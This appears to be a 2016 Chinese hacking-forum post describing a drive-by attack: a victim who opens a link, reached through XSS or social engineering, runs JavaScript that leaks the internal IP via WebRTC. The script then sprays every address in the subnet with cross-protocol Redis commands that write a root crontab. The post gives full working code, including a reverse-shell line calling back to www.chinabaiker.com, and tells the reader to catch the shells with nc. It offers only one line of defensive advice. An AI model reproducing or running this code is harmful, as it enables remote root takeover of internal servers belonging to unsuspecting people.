搜索
查看: 352|回复: 0

点我一个链接就自动化入侵你的内网

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-8-3 16:51:20 | 显示全部楼层 |阅读模式
参考http://www.freebuf.com/articles/web/103097.html

他这个是攻击web应用的,今天实现的是利用xss或者社工让对方点我的链接,然后利用js自动化攻击内网redis,

利用redis写任务计划批量反弹shell。

js扫内网6379不太好实现,就不进行端口探测了,直接对整个网段执行一遍exp

利用如下代码获取内网ip段:
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8" />
  5.     <title>Document</title>
  6. </head>
  7. <body>
  8.    
  9. </body>
  10. <script>
  11.     ipList = []
  12.     var webrtcxss = {
  13.     webrtc        : function(callback){
  14.         var ip_dups           = {};
  15.         var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
  16.         var mediaConstraints  = {
  17.             optional: [{RtpDataChannels: true}]
  18.         };
  19.         var servers = undefined;
  20.         if(window.webkitRTCPeerConnection){
  21.             servers = {iceServers: []};
  22.         }
  23.         var pc = new RTCPeerConnection(servers, mediaConstraints);
  24.         pc.onicecandidate = function(ice){
  25.             if(ice.candidate){
  26.                 var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
  27.                 var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
  28.                 if(ip_dups[ip_addr] === undefined)
  29.                 callback(ip_addr);
  30.                 ip_dups[ip_addr]    = true;
  31.             }
  32.         };
  33.         pc.createDataChannel("");
  34.         pc.createOffer(function(result){
  35.             pc.setLocalDescription(result, function(){});
  36.         });
  37.     },
  38.     getIp        : function(){
  39.         this.webrtc(function(ip){
  40.             ipList.push(ip);
  41.         });
  42.     }
  43. }
  44. webrtcxss.getIp()
  45. setTimeout(function() {
  46.     alert(ipList)
  47. }, 300)
  48. </script>
  49. </html>
复制代码

效果如下图


利用ajax攻击redis原理:

参考文章:http://benmmurphy.github.io/blog ... lua-sandbox-escape/

http://www.freebuf.com/articles/web/19622.html

跨域是发出数据包获取不到返回包,这里我们只管发出去不管返回,所以也不用担心跨域的问题。

下面是一个ajax操作redis写任务计划反弹的例子:

  1. var ip = '192.168.203.2';
  2. var port= '6379';
  3. var dir = '/var/spool/cron/';
  4. var filename = 'root';
  5. var content = '*/1 * * * * /bin/bash -i >& /dev/tcp/www.chinabaiker.com/53 0>&1';
  6. var url = "http://" + ip + ":" + port;

  7. var cmd = new XMLHttpRequest();
  8. cmd.open("POST",  url);
  9. cmd.send('eval \'' + 'redis.call("set", "hacked", "\\r\\n\\n'+content+'\\n\\n\\n\\n"); redis.call("config", "set", "dir", "' + dir + '/"); redis.call("config", "set", "dbfilename", "'+filename+'"); ' + '\' 0' + "\r\n");

  10. var cmd = new XMLHttpRequest();
  11. cmd.open("POST",  url);
  12. cmd.send('save\r\n');
复制代码

最后来实现自动获取内网ip,自动批量攻击内网1-255的ip

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8" />
  5.     <title>Document</title>
  6. </head>
  7. <body>
  8.    
  9. </body>
  10. <script>
  11.     ipList = []
  12.     var webrtcxss = {
  13.     webrtc        : function(callback){
  14.         var ip_dups           = {};
  15.         var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
  16.         var mediaConstraints  = {
  17.             optional: [{RtpDataChannels: true}]
  18.         };
  19.         var servers = undefined;
  20.         if(window.webkitRTCPeerConnection){
  21.             servers = {iceServers: []};
  22.         }
  23.         var pc = new RTCPeerConnection(servers, mediaConstraints);
  24.         pc.onicecandidate = function(ice){
  25.             if(ice.candidate){
  26.                 var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
  27.                 var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
  28.                 if(ip_dups[ip_addr] === undefined)
  29.                 callback(ip_addr);
  30.                 ip_dups[ip_addr]    = true;
  31.             }
  32.         };
  33.         pc.createDataChannel("");
  34.         pc.createOffer(function(result){
  35.             pc.setLocalDescription(result, function(){});
  36.         });
  37.     },
  38.     getIp        : function(){
  39.         this.webrtc(function(ip){
  40.             ipList.push(ip);
  41.         });
  42.     }
  43. }
  44. webrtcxss.getIp()
  45. setTimeout(function() {
  46.     for(var i in ipList) {
  47.         if(ipList[i]) {
  48.             var iparr = ipList[i].split(".");
  49.             for(var i=0;i<255;i++) {
  50.                 var attkip = iparr [0] + "." + iparr [1] + "." + iparr [2] + "." + i;
  51.                 send(attkip);
  52.             }
  53.         }
  54.     }
  55. }, 300);

  56. function send(ip) {
  57.     var port= '6379';
  58.     var dir = '/var/spool/cron/';
  59.     var filename = 'root';
  60.     var content = '*/1 * * * * /bin/bash -i >& /dev/tcp/www.chinabaiker.com/53 0>&1';
  61.     var url = "http://" + ip + ":" + port;

  62.     var cmd = new XMLHttpRequest();
  63.     cmd.open("POST",  url);
  64.     cmd.send('eval \'' + 'redis.call("set", "hacked", "\\r\\n\\n'+content+'\\n\\n\\n\\n"); redis.call("config", "set", "dir", "' + dir + '/"); redis.call("config", "set", "dbfilename", "'+filename+'"); ' + '\' 0' + "\r\n");
  65.      
  66.     var cmd = new XMLHttpRequest();
  67.     cmd.open("POST",  url);
  68.     cmd.send('save\r\n');
  69.    
  70. }

  71. </script>
  72. </html>
复制代码

如果嫌1-255不够可以再加一个for循环


自动向内网redis发送攻击代码

然后在自己的服务器中用nc监听你设置的端口,然后你会发现服务器已经躺在这了



redis太不安全了,就算绑定127.0.0.1也不安全..最好升级最新版,然后设个密码



过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表